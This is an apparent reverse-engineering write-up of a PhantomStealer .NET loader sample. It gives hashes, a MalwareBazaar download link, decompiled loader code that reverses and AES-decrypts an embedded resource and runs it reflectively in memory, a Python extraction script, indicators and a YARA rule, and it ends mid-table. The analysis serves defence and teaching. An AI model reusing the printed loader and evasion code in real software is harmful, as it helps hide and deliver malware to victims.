OKO Qibanonana PhantomStealer

Reverse Engineering Advanced πŸ“… Published: 10/02/2026

OKO Qibanonana PhantomStealer The primary objectives of this research project are to:

OKO Qibanonana PhantomStealer

This document outlines the scope, objectives, and key phases for the ongoing malware research and analysis project. The sample is a live sample and contains documentation of a previously unreported PhantomStealer stage-2 payload and its execution context.

Given name: OKO Qibanonana PhantomStealer

Project Objectives

The primary objectives of this research project are to:

  • Identify and categorize new and emerging malware families.
  • Analyze malware behavior, including persistence mechanisms, command and control (C2) communication, and payload delivery.
  • Develop robust signatures and behavioral detection rules for identified threats.
  • Document findings and provide actionable intelligence to the security operations team.

Research Methodology

Our research will follow a structured methodology to ensure comprehensive analysis and consistent reporting.

1. Sample Acquisition and Triage

Malware samples will be collected from various sources, including internal telemetry and external threat feeds. Lately I saw the same phntomStealer signature over and over and got interested to see why it became popular lately across threat actors .
The executable varient chosen was received through malware bazzar.

https://bazaar.abuse.ch/sample/ff63061183b17b0ab5ddba48be394e5b37d1b41fba6810b3ba186a4c036eb210/#intel

The provided data outlines the key forensic information for a suspicious file, likely a piece of malware identified as PhantomStealer.

File Identification and Hashes:

Property

Value

File Name

IMPORTES 347.exe

Given name

OKO Qibanonana PhantomStealer

Signature

PhantomStealer

File Size

1,768,960 bytes

File Type

exe (application/x-dosexec)

SHA256 Hash

ff63061183b17b0ab5ddba48be394e5b37d1b41fba6810b3ba186a4c036eb210

SHA3-384 Hash

b084a0f488b47408d175f9912d64e43f9eb08283115dfc44f4b55fd578bf046cb3a24cd240546b899431ea3f080c1add

SHA1 Hash

2e828222d11118117fe929e79d5c8c5db1ccc124

MD5 Hash

2d4836d923e9231affbc7bfb4e7494f0

Humanhash

six-arizona-eighteen-football

ssdeep

24576:V/kfd1HK6/XZfS1qHaqsjU6UsHMIrEMJv3oqMXYg9pGdl0xm3GD:2fd1H7JEaaFxUsHdJv32A6

TLSH

T15E85012527C44F68F8BF9738A579511047F1B80E9B22DB2EBF9850DA0861F4EC662773

Timeline and Context:

Property

Value

First Seen

2026-02-10 10:09:44 UTC

Last Seen

Never

Download

https://bazaar.abuse.ch/download/ff63061183b17b0ab5ddba48be394e5b37d1b41fba6810b3ba186a4c036eb210/

Threatray

350 similar samples on MalwareBazaar

Technical Signatures and Characteristics:

  • imphash: f34d5f2d4577ed6d9ceec516c1f5a744 (Associated with 48,796 AgentTesla, 19,699 Formbook, and 12,277 SnakeKeylogger samples).
  • TrID Analysis: 71.1% points to a Generic CIL Executable (.NET, Mono, etc.). Other common detections include Win64 Executable (10.2%) and Win32 Dynamic Link Library (6.3%).

2. Static Analysis

This phase involves examining the malware sample without executing it.
I have decided to start with pe-studio to get an initial understanding of the malware capabilities and the way it was intended to spread.


We see a suspicious conts of imports and libraries, this could suggest a packer or real-time load to obfuscate laud imports. As well as the original name of the sample, likely it was patched since the original was already known across security systems and treat intelligence sources.

This claim is supported by the fact the files creation time on vt is almost 6 years ago, yet first submission today (the time of writing the report, Feb 10th).

Meanwhile searching for the file name clearly leads to old malware:

Note for learners:

This is a good start,
It already shows that the original variant was OKO.exe , later this information will help us during the threat intelagence stage to get additional information about the threat family.
Additionaly we will be able to compare the variants and see if this specific version has any new capabilities that werent seen in the wild.

Looking at the headers we see a .NET header.


I checked the .net fingerprints over in cutter to see the version it usses.

The presence of System.Net.Mail suggests SMTP-based exfiltration is supported, which is common in VB.NET commodity stealers like PhantomStealer and AgentTesla.


Now my goal is to understand what the malware disguises itself as, and how the spreading was designt to work.

Note for learners:

My favorite technique is to search strings with space β€œ β€œ,
Then sort them from longest to shortest. Since compilers usually remove un-needed spaces to minimize the size, it filters out lots of system blobs and functionality related strings.
Usually it reveals both text presented to the user, and sometimes even some obfuscation techniques .

The analysis of the embedded strings reveals two distinct categories:
extensive noise from a reused application template and a smaller set of strings indicative of active malware functionality.

Analysis of Malware Artifacts: Business App UI vs. Active Logic

The analyzed malware binary contains two distinct sets of strings, suggesting a compromised or reused codebase: legitimate business application UI strings (likely noise) and specific cryptographic strings (active signal).1. User Interface (UI) Strings: The Noise

These strings appear to originate from a verbose, domain-specific WinForms / VB.NET business application template focused on equity management. They are internally consistent but are considered noise in the context of malware.Key UI Components Observed:

Category

Examples

Interpretation

App Identity

Tokenized Equity & On-Chain Ownership Manager, Cap Table & Equity Management Platform, Regulatory Report Generator

Describes a legitimate finance/compliance admin tool.

Section/Reports

WORKER OWNERSHIP EQUITY COMPLIANCE REPORT, REGULATORY DEADLINE STATUS REPORT, ANNUAL TAXABLE EVENTS SUMMARY

Highly specialized reporting functions.

Forms/Labels

Fully Diluted Shares: 0, Security Type: Tokenized Common Equity, Invalid number of shares, Reconciliation completed

Standard business application input/status messages.

Blockchain Terms

Blockchain Configuration, ERC-1400, Polygon, On-Chain Ownership Ledger

These are also likely UI components (prefixed by cbo, grp), not active runtime logic.

Conclusion on UI Strings:

These describe a fully functioning, legitimate admin interface that is almost certainly never shown to the victim. Their presence implies builder lazinessβ€”the malware author likely reused a cracked business application or purchased template, bolted on the stealer logic, and failed to strip the original UI resources. They serve to pollute static analysis and waste analyst time.2. Cryptography Strings: The Real Signal

In contrast to the UI noise, these strings relate to active, runtime-relevant logic within the .NET framework.Active Cryptographic Artifacts:

String

Implication

System.Security.Cryptography

Accesses the core .NET crypto APIs.

ICryptoTransform, CreateDecryptor

Indicates the setup for symmetric decryption.

TransformFinalBlock

Suggests decryption of a small, in-memory blob, typically configuration data, not file system encryption.

as5W0Iqry1K2, 6CryHgr41

Likely embedded, hardcoded keys or salts.

Likely Purpose:
This is active malware logic. The code is almost certainly using Symmetric Encryption (e.g., AES/Rijndael) to decrypt embedded configuration data, which would contain critical operational details such as:

  • C2 (Command and Control) URLs
  • SMTP credentials
  • Hardcoded tokens or passwords.

Overall:This is a two-stage .NET malware loader. The first stage (what we're analyzing) is essentially a highly obfuscated delivery mechanism that:

  1. Disguises itself as a legitimate equity management application
  2. Hides an encrypted payload inside what appears to be image resources
  3. Decrypts that payload using AES-128 encryption
  4. Loads the decrypted malware directly into memory without touching disk
  5. Executes it using .NET reflection (no traditional process creation)

 Deceptive Design: If you open this in a decompiler, you'll see thousands of lines of legitimate-looking equity/blockchain management code. That's all fake - it's a decoy to waste analysts' time.

Note OOC:My initial assumption that this would be an easily processed sample, typical of AI-generated content often found in .NET, proved incorrect and unfortunately led to wasted time. Furthermore, the existing writing style was unsuitable, requiring me to substantially change the tone and overall styling. I apologize for the resulting lack of consistency.


Part 1: The Entry Point - Where It All Begins


The majority of readable strings describe a legitimate-looking administrative application, consistent with the output of a Visual Studio WinForms designer.

  • Application & Module References: Titles and modules related to equity management, ESOP/shareholder reporting, regulatory compliance, and tokenized equity/on-chain ownership.
  • UI Elements: Validation errors (for shares, dilution, dates, symbols), status messages (report generation, reconciliation), export dialogs (CSV, Excel, PDF, text), and various prompts.
  • Blockchain References: Strings referencing blockchain, ERC-1400, Polygon, or ownership ledgers are tied only to WinForms control names and UI section headers.

These strings are assessed as unused at runtime, serving primarily to pollute static analysis and are merely UI remnants from the original application template. There is no evidence of active blockchain interaction.

2. Active Malware Functionality (Suspicious Strings):
A smaller, highly relevant set of strings strongly suggests the malware's true function:

  • .NET Cryptography APIs: The presence of System.Security.Cryptography, ICryptoTransform, CreateDecryptor, and TransformFinalBlock.
  • This strongly suggests runtime decryption of embedded configuration data (e.g., C2 information or exfiltration parameters).
  • The use of TransformFinalBlock implies decryption of small in-memory blobs, a common trait of commodity .NET stealer behavior.

3. Execution Marker: The short string β€œL O A D” is considered potentially relevant to the runtime flow. As it does not align with the UI content, it is likely an execution or loader-stage marker, an internal state indicator, or a minimal obfuscation artifact, distinct from the UI noise.

Conclusion: The string set is characteristic of a template-based VB.NET stealer. The malware's authors reused a full WinForms business application without stripping its UI resources, resulting in a large volume of misleading strings alongside a small, critical set of strings that confirm active, stealer-like malware functionality.


cutter exhibits a significant lack of complex logic, appearing overly simple and sparse (consistent with the previously noted zero imports we saw erlier).

Furthermore, analysis of the Windows PE executable's pseudocode provides strong evidence of sophisticated intentional obfuscation, anti-analysis measures, and the insertion of junk code. These features render semantic interpretation highly unreliable and strongly suggest a deliberate attempt to deceive analysis tools and researchers.

Key Findings:

  1. Entry Point Concealment: The entry0 function is virtually empty, indicating that the genuine execution flow is likely hidden or resolved dynamically during runtime.
  2. Anti-Analysis Instruction Usage: Several functions (e.g., fcn_00422b95, fcn_0046dd64, fcn_00468a54) exhibit an unusual concentration of techniques designed to confuse analysis:
  • Obscure/Legacy Instructions: Excessive use of outdated x86 instructions (e.g., aam, aas, daa, aad, arpl, bound, retf, int3, hlt).
  • Emulator Evasion: Inclusion of Port I/O instructions (in, out, outsb, outsd, insb, insd), which are uncommon in user-mode code and often used to break emulation environments.
  • Segment Manipulation: Manipulation of segment registers (es, ds, fs, gs, cs), including memory access with segment overridesβ€”a classic anti-analysis tactic.
  • FPU Poisoning: Nonsensical application of FPU instructions (fadd, fsubr, fdivr, fisttp, fstp), likely intended to corrupt decompilation output.
  1. Data Flow Confusion: The code contains numerous hardcoded constants and invalid memory references, combined with arithmetic and bitwise operations that result in no coherent or reconstructible data flow.
  2. Code Flow Misdirection (Dead Code): The presence of infinite loops, unreachable code paths, and unconditional halts (_hlt) strongly points to the inclusion of dead code aimed at crippling static analysis.
  3. Data Obfuscation Hint: Rotate operations (rotate_right32, rotate_right8) are present, suggesting a possible lightweight data obfuscation or checksum routine, although a full cryptographic algorithm cannot be reconstructed yet.
  4. Unresolved System Call: A direct syscall invocation (syscall_6bh) appears, but its function cannot be reliably interpreted without the surrounding execution context.

Now we can go to dnSpy.
The entry already shows off the β€œL O A D” string we saw earlier.

The entry method performs environment checks, extracts and decrypts an embedded resource-based payload, and dynamically executes it via a loader routine labeled β€œLOAD”, while surrounding WinForms UI elements serve only as camouflage. Those are surrounded by bloat like math rounds and useless checks.
Mostlikely to obfoscate and make analysis more exhausting.

in `nx3TErt82Zp_.cs`:

// Location: nx3TErt82Zp_.cs, Line 2408

[STAThread]

public static void Jq0foqW56Y()

{

    try

    {

        Form form = new Form();

       

        // Anti-analysis check (we'll come back to this)

        bool flag = !nx3TErt82Zp_.Bfw41qPqE2e.8wzDdJ.Ybs6fL2eo("Capnogramat");

       

        if (!flag)  // If check passes...

        {

            int length = checked((int)Math.Round(Math.Abs(25.0)));

            object[] array = (object[])Array.CreateInstance(typeof(object), length);

           

            // Here's where the magic happens

            string text = string.Join("/", new string[]

            {

                "resources",

                "942361"  // ← This is the encrypted payload resource!

            });

           

            array[0] = text;

            Panel panel = new Panel();

           

            // Load the encrypted resource

            byte[] array2 = aYo3E_0.Ted6s1cGjp.tZf47iTawEj(text);

           

            bool flag2 = array2 == null;

            if (!flag2)

            {

                // CRITICAL: Reverse the bytes before decryption

                Array.Reverse(array2);

               

                array[2] = array2;

               

                // Decrypt the payload

                array[3] = Cre5b3Z.1n_LNb8iy7.br1S6Jf(array2);

               

                // Obfuscated string: "L o a d" becomes "Load"

                string axd30rQpq8eMS = "L o a d";

               

                // Load and execute the decrypted assembly

                Nja24mTpo.Sdw2y1Er9gbLY(axd30rQpq8eMS, RuntimeHelpers.GetObjectValue(array[3]));

                Nja24mTpo.8Fxty.xFn96fp("Loader", "Success");

            }

        }

    }

    catch (Exception ex)

    {

        Environment.Exit(0);

    }

}

The function named Jq0foqW56Y is intentionally obfuscated, but the presence of the [STAThread] attribute confirms it as the true entry point. The following eight-step sequence details the initial execution of the malware:

  1. Decoy Initialization: A dummy Form object is created. This form is never displayed and serves solely as a deceptive component.
  2. Evasion Check: An anti-analysis function is called, designed to detect and deter security researchers. (Further details on this function are noted separately).
  3. Path Resolution: The resource path, specifically "resources/942361", is constructed to locate the encrypted payload.
  4. Resource Loading: The raw bytes of the encrypted payload are extracted from the embedded resources.
  5. Data Manipulation (Crucial Step): The extracted byte array is immediately reversed. This often-missed step is critical for successful decryption.
  6. Payload Decryption: A custom AES decryption function is applied to the reversed byte array.
  7. In-Memory Loading: The decrypted payload is loaded into memory using reflective assembly loading techniques.
  8. Execution: The entry point of the malicious assembly is invoked, launching the core malware functionality.

The malware doesn't store the payload as a separate file. Instead, it's compiled into the executable as an embedded resource. This is a legitimate .NET feature often abused by malware.The resource extraction happens in `aYo3E_0.cs` (the ESOPAdmin folder):

// Location: ESOPAdmin/aYo3E_0.cs, Line ~580-640

public static byte[] tZf47iTawEj(string resourcePath)

{

    byte[] result = null;

   

    try

    {

        // Get the current assembly (the running exe)

        Assembly assembly = Assembly.GetExecutingAssembly();

       

        // Build the full resource name

        string fullResourceName = assembly.GetName().Name + "." + resourcePath.Replace("/", ".");

       

        // Get the resource as a stream

        object objectValue = NewLateBinding.LateGet(

            assembly,

            null,

            "GetManifestResourceStream",

            new object[] { fullResourceName },

            null,

            null,

            null

        );

       

        bool flag12 = objectValue == null;

        if (flag12)

        {

            return null;

        }

       

        // Check if we got a stream

        bool flag13 = objectValue is Stream;

        if (flag13)

        {

            Stream stream = (Stream)objectValue;

           

            // Reset position if seekable

            bool canSeek = stream.CanSeek;

            if (canSeek)

            {

                stream.Position = 0L;

            }

           

            // THIS IS THE MEMORY STREAM PART YOU ASKED ABOUT

            // We read the entire stream into memory

            using (MemoryStream memoryStream = new MemoryStream())

            {

                // Copy all bytes from the resource stream to our memory stream

                stream.CopyTo(memoryStream);

               

                // Convert the memory stream to a byte array

                byte[] array = memoryStream.ToArray();

               

                return array;

            }

        }

       

        // If it's already a byte array, just cast it

        bool flag14 = objectValue is byte[];

        if (flag14)

        {

            return (byte[])objectValue;

        }

    }

    catch (Exception ex)

    {

        // Silently fail

    }

   

    return result;

}

Why a `MemoryStream` is Necessary in this Context (Malware Reverse Engineering)

This technique is a well-established pattern in .NET development for a specific reason:
The Challenge: The `GetManifestResourceStream()` method returns a standard `Stream` object. This stream is inherently read-only and forward-only, which means you cannot easily read all the data bytes at once or revisit previous positionsβ€”a major obstacle when trying to extract or analyze a full binary payload.

The Solution (The Role of `MemoryStream`): To overcome this limitation, a `MemoryStream` is used. Unlike the resource stream, a `MemoryStream` is both writable and seekable, making it ideal for complete data extraction.

  1. Collection: All the data from the read-only resource stream (which often holds the embedded payload) is copied into the writable `MemoryStream`.
  • Action: Collect the full resource data. (`stream.CopyTo(memoryStream);`)
  1. Conversion: Once all data is collected in a seekable format, the `MemoryStream` is converted into a standard byte array.
  • Action: Prepare the raw bytes for analysis/decryption. (`byte[] array = memoryStream.ToArray();`)

This gives us the entire encrypted payload as a byte array we can manipulate.

Part 3: The Byte Reversal Trick - Why Most Tools Fail Here

After getting the encrypted bytes, there's a seemingly innocent line:

// Location: nx3TErt82Zp_.cs, Line 2431

Array.Reverse(array2);

The single, crucial line of code that causes automated decryption to fail is a byte array reversal.The Decryption Trick: Byte Reversal. The attacker introduces a step that is easy to miss, specifically designed to foil automated analysis tools and malware analysts.

The Action: The entire encrypted byte array is flipped backwards.

  • The byte at position 0 moves to the final position, 385,887.
  • The byte at position 385,887 moves to position 0.

State

Byte Position (Start)

...

Byte Position (End)

Before Reversal

[FF]

...

[8D]

After Reversal

[8D] (was last)

...

[FF] (was first)

This reversal is a simple yet effective evasion technique. Most tools and analysts follow a standard decryption workflow:

  1. Identify the encrypted data.
  2. Locate the decryption function.
  3. Extract the cryptographic key.
  4. Attempt Decryption (This is where they fail).

If decryption is attempted without first reversing the ciphertext, the AES algorithm will "successfully decrypt" the data, but the output will be meaningless garbage. The analyst is feeding the algorithm a backwards ciphertext, resulting in corrupted data. This specific detail was nearly overlooked, only being discovered by meticulously tracing the code's execution order line by line.


Part 4: The AES Decryption - Breaking Down the Crypto
Now we get to the actual decryption function in `
Cre5b3Z.cs`:

// Location: Cre5b3Z.cs, Line 2362

internal static byte[] br1S6Jf(byte[] 0Aszi6qXgoE)  // Input: reversed encrypted bytes

{

    // Step 1: Build the AES key from hardcoded hex strings

    byte[] array = Cre5b3Z.1n_LNb8iy7.rKy5H6onpgG4

        .Select((Cre5b3Z.1n_LNb8iy7.Lfp9r.Yo5b6MwpXtr0 == null)

            ? (Cre5b3Z.1n_LNb8iy7.Lfp9r.Yo5b6MwpXtr0 = new Func<string, byte>(Cre5b3Z.1n_LNb8iy7.Lfp9r.qFg14oYi.si8R0T))

            : Cre5b3Z.1n_LNb8iy7.Lfp9r.Yo5b6MwpXtr0)

        .ToArray<byte>();

   

    byte[] result = null;

    Aes aes = null;

    MemoryStream memoryStream = null;

    object obj = null;

   

    try

    {

        // Step 2: Create AES cipher

        aes = Aes.Create();

        bool flag = aes != null;

       

        if (flag)

        {

            // Step 3: Set key and IV (BOTH are the same!)

            aes.Key = array;

            aes.IV = array;

           

            // Step 4: Create decryptor

            ICryptoTransform cryptoTransform = aes.CreateDecryptor();

           

            // Step 5: Decrypt all bytes at once

            return cryptoTransform.TransformFinalBlock(0Aszi6qXgoE, 0, 0Aszi6qXgoE.Length);

        }

    }

    finally

    {

        // Cleanup

        bool flag2 = aes != null;

        if (flag2)

        {

            aes.Dispose();

        }

        bool flag3 = memoryStream != null;

        if (flag3)

        {

            memoryStream.Dispose();

        }

        bool flag4 = obj != null;

        if (flag4)

        {

            NewLateBinding.LateCall(obj, null, "Dispose", new object[0], null, null, null, true);

        }

    }

   

    return result;

}

The Hardcoded Key
The AES key comes from a static array defined earlier in the class:

// Location: Cre5b3Z.cs, Line 2733

private static string[] rKy5H6onpgG4 = new string[]

{

    "8F",  // Byte 0

    "DB",  // Byte 1

    "12",  // Byte 2

    "4A",  // Byte 3

    "05",  // Byte 4

    "17",  // Byte 5

    "6E",  // Byte 6

    "F4",  // Byte 7

    "2C",  // Byte 8

    "BD",  // Byte 9

    "3C",  // Byte 10

    "0E",  // Byte 11

    "05",  // Byte 12

    "32",  // Byte 13

    "20",  // Byte 14

    "50"   // Byte 15

};

These hex strings are converted to bytes:

8F DB 12 4A 05 17 6E F4 2C BD 3C 0E 05 32 20 50

The encryption described uses AES-128, indicated by the 128-bit key (16 bytes).

AES is a symmetric block cipher. This classification means:

  • Symmetric: The same key is used for both encrypting and decrypting data.
  • Block Cipher: Data is processed in fixed-size chunks, which are 16 bytes for AES.
  • Mode: It employs CBC (Cipher Block Chaining) mode.

CBC Mode Explanation:
In CBC mode, each block of plaintext is XORed with the previous ciphertext block before encryption. The first block uses an "Initialization Vector" (IV) since there's no previous block.

Block 1: Plaintext XOR IV β†’ Encrypt β†’ Ciphertext Block 1

Block 2: Plaintext XOR Ciphertext Block 1 β†’ Encrypt β†’ Ciphertext Block 2

Block 3: Plaintext XOR Ciphertext Block 2 β†’ Encrypt β†’ Ciphertext Block 3

...and so on

The Security Weakness
Notice this line:

aes.Key = array;  // The 16-byte key

aes.IV = array;   // The SAME 16-byte key used as IV!

This is **cryptographically weak**. The IV should be random and different for each encryption. Using the same value for both the key and IV reduces the security of the cipher. However, for malware authors, this doesn't matter - they just need obfuscation, not military-grade security.

The Decryption Process

ICryptoTransform cryptoTransform = aes.CreateDecryptor();

return cryptoTransform.TransformFinalBlock(0Aszi6qXgoE, 0, 0Aszi6qXgoE.Length);

`TransformFinalBlock()` is the .NET method that processes the entire byte array at once:
1. Takes the reversed encrypted bytes
2. Processes them 16 bytes at a time (AES block size)
3. Applies CBC decryption with the key and IV
4. Returns the fully decrypted bytes

The output is the raw PE file (executable) in
memory.

Part 5: Reflective Assembly Loading β€” In-Memory Execution
Once the hidden .NET assembly (DLL or EXE) is decrypted, it exists as a byte array in the system's memory. The malware's challenge is to execute this assembly while avoiding detection methods such as:

  • Saving to Disk: Which would immediately alert antivirus software.
  • Creating a New Process: Which would make the activity visible in tools like Task Manager.

The effective solution to this is Reflective Assembly Loading, allowing the code to run directly from memory.

// Location: Nja24mTpo.cs, Line 326

internal static object Sdw2y1Er9gbLY(string Axd30rQpq8eMS, object jb6EAdf1i7)

{

    try

    {

        // De-obfuscate the string "L o a d" β†’ "Load"

        string text = Axd30rQpq8eMS.Replace(" ", "");

       

        // Get the Assembly.Load method using reflection

        MethodInfo method = typeof(Assembly).GetMethod("Load", new Type[]

        {

            typeof(byte[])

        });

       

        bool flag = method == null;

        if (flag)

        {

            return new object();

        }

       

        // Invoke Assembly.Load(byte[]) to load the decrypted assembly

        object objectValue = RuntimeHelpers.GetObjectValue(method.Invoke(null, new object[]

        {

            jb6EAdf1i7  // This is the decrypted payload bytes

        }));

       

        // Get all types in the loaded assembly

        MethodInfo method2 = objectValue.GetType().GetMethod("GetTypes");

        Type[] array = (Type[])method2.Invoke(RuntimeHelpers.GetObjectValue(objectValue), null);

       

        // Check if assembly has enough types

        bool flag2 = array.Length <= 25;

        if (flag2)

        {

            return new object();

        }

       

        // HARDCODED: Get the 26th type (index 25)

        Type type = array[25];

       

        // Get all methods from this type

        MethodInfo[] methods = type.GetMethods();

        bool flag3 = methods.Length == 0;

        if (flag3)

        {

            return new object();

        }

       

        // HARDCODED: Get the first method (index 0)

        MethodInfo methodInfo = methods[0];

       

        // Check if it's static or instance

        bool isStatic = methodInfo.IsStatic;

        if (isStatic)

        {

            // Static method - invoke directly

            methodInfo.Invoke(null, null);

        }

        else

        {

            // Instance method - create instance first

            Nja24mTpo.wy1TXek7_F6rcp(type, methodInfo);

        }

    }

    catch (Exception ex)

    {

        // Silent failure

    }

    return new object();

}

Reflective Loading: An Evasion Technique

Core Concept: Reflective loading is a stealthy method of code execution where a malicious payload is loaded and executed directly in memory within an existing process, bypassing standard operating system defenses.

Normal Execution vs. Reflective Loading

Feature

Normal Execution Flow

Reflective Loading Flow (Malware)

Source

Load EXE from disk

Load byte array into memory

Loader

Windows Loader

Loader Process (using Assembly.Load())

Process

Creates a new process

Executes within the same process

Disk Write

Yes

No

Visibility

High (new process created)

Low (no visible execution boundary)

Malware utilizes several techniques to hide its intent from static analysis tools:

  1. String Obfuscation: High-risk strings (e.g., "Load," "Inject," "Execute") are split or garbled ("L o a d") to prevent simple string matching by security tools. The true value is only reconstructed at runtime.
  2. Dynamic Method Resolution (Reflection): Instead of making direct, easily detectable API calls (e.g., Assembly.Load), the malware resolves the method dynamically using reflection (typeof(Assembly).GetMethod("Load", ...)). This forces static analyzers to resolve runtime lookups.
  3. In-Memory Assembly Loading: The byte array containing the payload is loaded into the current .NET AppDomain using the resolved Assembly.Load method. The .NET runtime verifies the assembly and returns an Assembly object, all while operating within the existing loader process. Crucially, no new process is created.
  4. Locating the Entry Point (Payload-Specific): The loader uses hardcoded, specific logic to find the execution target within the loaded assembly. For instance, it might assume the target is the 26th type and its first method. This step is tailored to the stage-2 payload's structure.
  5. Payload Execution: Control is transferred to the stage-2 malware by invoking the identified entry point method. Static methods are invoked directly, while instance methods require prior object instantiation.

Result of Evasion

The entire execution sequence occurs completely inside a single,
already-running .NET process, resulting in:


No disk writes.
No child process creation.
No visible execution boundary from the operating system's perspective.

Critical Insight: This is hardcoded and very specific. The malware author knows the payload assembly has at least 26 types, the 26th type (index 25) is the one to execute, and the first method in that type is the entry point. This suggests the stage-2 payload was designed specifically for this loader.

Part 6: Anti-Analysis Techniques

The Neutered Check

There's an anti-analysis check in the entry point:

bool flag = !nx3TErt82Zp_.Bfw41qPqE2e.8wzDdJ.Ybs6fL2eo("Capnogramat");

if (!flag) { /* execute payload */ }

What should happen: Check if running in a VM/sandbox, if yes, abort execution.

What actually happens: The function always returns false, so !false = true, and the payload always runs.

 Analysis Advantage: This anti-analysis check has been neutered (possibly by the distributor or during recompilation). This makes our static analysis much easier.

Other Evasion Techniques

  • Heavy obfuscation: Random function/variable names waste analysis time
  • Fake code: Thousands of lines of equity management code as decoy
  • String splitting: "L o a d" instead of "Load"
  • Silent exceptions: Empty catch blocks hide errors
  • Byte reversal: Defeats automated crypto extraction

Part 7: Complete Execution Flow Diagram

╔═══════════════════════════════════════════════════════════════════╗

β•‘                    STAGE 1: LOADER EXECUTION                      β•‘

β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

[1] Application Starts

    ↓

    Function: nx3TErt82Zp_.Jq0foqW56Y() [STAThread]

    File: nx3TErt82Zp_.cs, Line 2408

    ↓

   

[2] Anti-Analysis Check (Bypassed)

    ↓

    Function: Ybs6fL2eo("Capnogramat")

    Returns: true (always passes)

    ↓

   

[3] Build Resource Path

    ↓

    string.Join("/", ["resources", "942361"])

    Result: "resources/942361"

    ↓

   

[4] Extract Embedded Resource

    ↓

    Function: aYo3E_0.Ted6s1cGjp.tZf47iTawEj("resources/942361")

        [4a] GetManifestResourceStream()

        [4b] Copy to MemoryStream

        [4c] Convert to byte[]

    Returns: 385,888 bytes (encrypted payload)

    ↓

   

[5] Reverse Byte Array   CRITICAL STEP

    ↓

    Array.Reverse(encryptedBytes)

    ↓

   

[6] AES Decryption

    ↓

    Function: Cre5b3Z.1n_LNb8iy7.br1S6Jf(reversedBytes)

        Key = 8FDB124A05176EF42CBD3C0E05322050

        IV  = 8FDB124A05176EF42CBD3C0E05322050

        Algorithm: AES-128-CBC

    Returns: 385,878 bytes (decrypted .NET assembly)

    ↓

   

[7] Reflective Assembly Loading

    ↓

    Function: Nja24mTpo.Sdw2y1Er9gbLY("L o a d", decryptedBytes)

        [7a] Assembly.Load(decryptedBytes)

        [7b] Get types[25]

        [7c] Get methods[0]

        [7d] method.Invoke(null, null)

    ↓

   

╔═══════════════════════════════════════════════════════════════════╗

β•‘                   STAGE 2: PAYLOAD EXECUTION                      β•‘

β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

   

     Stage 2 malware now running in same process

     No new process created

     No file written to disk

     All occurred in memory

Part 8: Why Most Tools Fail

Common Analysis Tool Limitations

Tool Type

What It Misses

Why

Static Extractors

Byte reversal requirement

Assumes direct decrypt after resource extraction

Deobfuscators

Execution flow order

Can't determine runtime behavior from static renames

Sandboxes

In-memory execution

No disk writes = no payload file captured

String Extractors

Split strings like "L o a d"

Only finds complete strings, not runtime-reassembled ones

What Worked for This Analysis

  1. Manual Code Reading: Traced execution line-by-line from [STAThread]
  2. Understanding .NET Internals: Knew how MemoryStream and Assembly.Load work
  3. Patience: Didn't skip the "boring" Array.Reverse() line
  4. Crypto Knowledge: Understood AES-CBC and spotted the IV=Key weakness

Part 9: The Decryption Script - Putting It All Together

Based on all this analysis, here's the Python decryption script that successfully extracted the payload:

#!/usr/bin/env python3

from Crypto.Cipher import AES

# Step 1: Extract the hardcoded key from Cre5b3Z.cs line 2733

AES_KEY = bytes([

    0x8F, 0xDB, 0x12, 0x4A, 0x05, 0x17, 0x6E, 0xF4,

    0x2C, 0xBD, 0x3C, 0x0E, 0x05, 0x32, 0x20, 0x50

])

# Step 2: Same key used as IV

AES_IV = AES_KEY

def decrypt_payload(encrypted_path, output_path):

    # Step 3: Read the encrypted resource

    with open(encrypted_path, 'rb') as f:

        encrypted_data = f.read()

   

    # Step 4: Reverse byte array (mimics Array.Reverse from line 2431)

    reversed_data = encrypted_data[::-1]

   

    # Step 5: Create AES cipher (mimics Aes.Create())

    cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)

   

    # Step 6: Decrypt (mimics TransformFinalBlock)

    decrypted_data = cipher.decrypt(reversed_data)

   

    # Step 7: Remove PKCS7 padding

    padding_length = decrypted_data[-1]

    if padding_length < 16:

        decrypted_data = decrypted_data[:-padding_length]

   

    # Step 8: Validate PE structure

    if decrypted_data[:2] == b'MZ':

        print("[+] Valid PE header detected")

   

    # Step 9: Save to disk

    with open(output_path, 'wb') as f:

        f.write(decrypted_data)

   

    print(f"[+] Decrypted payload saved to: {output_path}")

if __name__ == "__main__":

    decrypt_payload(r"Gqp7yB3g\Resources\942361", r"stage2_payload.exe")

Success Output:

[*] Encrypted size: 385888 bytes

[*] Reversing byte order...

[*] Decrypting with AES-128-CBC...

[*] Decrypted size: 385878 bytes

[+] Valid PE header detected (MZ signature)

[+] Valid PE signature at offset 0x80

[+] Decrypted payload saved to: stage2_payload.exe

[+] SUCCESS: Second-stage payload extracted


Part 10: Key Indicators and Detection Opportunities

Static Indicators

Indicator Type

Value

Resource Name

942361

Resource Size

385,888 bytes

AES Key/IV

8FDB124A05176EF42CBD3C0E05322050

Assembly GUID

d439281e-ffd3-498b-be5c-f555902db25d

Obfuscated String

"L o a d" (split string)

YARA Rule

rule DotNet_AES_Loader_942361 {

    meta:

        description = "Detects .NET loader with reversed AES payload"

        confidence = "high"

       

    strings:

        $key = { 8F DB 12 4A 05 17 6E F4 2C BD 3C 0E 05 32 20 50 }

        $resource = "942361" ascii wide

        $split_load = "L o a d" ascii wide

        $decrypt_func = "CreateDecryptor" ascii

        $transform = "TransformFinalBlock" ascii

       

    condition:

        uint16(0) == 0x5A4D and  // MZ header

        $key and

        $resource and

        ($split_load or ($decrypt_func and $transform))

}

Behavioral Indicators

  • No child processes: Executes payload in same process
  • High memory allocation: ~380KB+ allocated for payload buffer
  • Assembly.Load from memory: Detectable via .NET profiler
  • No suspicious file writes: Everything stays in memory

Part 11: Lessons Learned - Analysis Tips

What Worked

  1. Following Execution Flow - Traced from the entry point forward, not backward from crypto functions
  2. Reading Actual Code - Didn't trust automated analysis; read the decompiled C# line by line
  3. Cross-Referencing Functions - Jumped to definitions when functions were called
  4. Understanding .NET Patterns - Knowledge of MemoryStreams and resource loading was crucial
  5. Not Skipping Simple Operations - The Array.Reverse() looked boring and simple but was critical

Common Mistakes to Avoid

Mistake

Why It's Critical

Skipping "boring" code

